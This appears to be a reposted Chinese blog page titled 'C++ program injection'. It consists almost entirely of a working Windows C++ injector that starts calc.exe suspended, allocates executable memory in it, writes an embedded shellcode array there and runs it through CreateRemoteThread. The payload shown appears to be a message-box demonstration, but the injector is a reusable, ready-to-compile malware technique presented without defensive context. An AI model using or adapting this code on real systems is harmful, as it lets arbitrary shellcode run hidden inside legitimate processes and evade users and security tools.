C++程序注入
阿新 • • 發佈:2019-02-13
// C++Injector.cpp : 定義控制檯應用程式的入口點。 // #include "stdafx.h" #include <windows.h> #include <stdio.h> char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7"; BOOL injection() { wchar_t Cappname[MAX_PATH] = { 0 }; STARTUPINFO si; PROCESS_INFORMATION pi; LPVOID lpMalwareBaseAddr; LPVOID lpnewVictimBaseAddr; HANDLE hThread; DWORD dwExitCode; BOOL bRet = FALSE; lpMalwareBaseAddr = shellcode; //獲取計算器的地址,接下來將啟動一個計算器 GetSystemDirectory(Cappname, MAX_PATH); _tcscat(Cappname, L"\\calc.exe"); printf("Injection program Name:%S\r\n", Cappname); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); //建立計算器 if (CreateProcess(Cappname, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED , NULL, NULL, &si, &pi) == 0) { return bRet; } //開闢記憶體空間大小 lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpnewVictimBaseAddr == NULL) { return bRet; } //將SHELLCODE寫入 WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr, (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL); //建立執行緒 hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL); //等待結束程序 WaitForSingleObject(pi.hThread, INFINITE); GetExitCodeProcess(pi.hProcess, &dwExitCode); TerminateProcess(pi.hProcess, 0); return bRet; } void help(char* proc) { printf("%s:[-] start a process and injection shellcode to memory\r\n", proc); } int main(int argc, char* argv[]) { help(argv[0]); injection(); }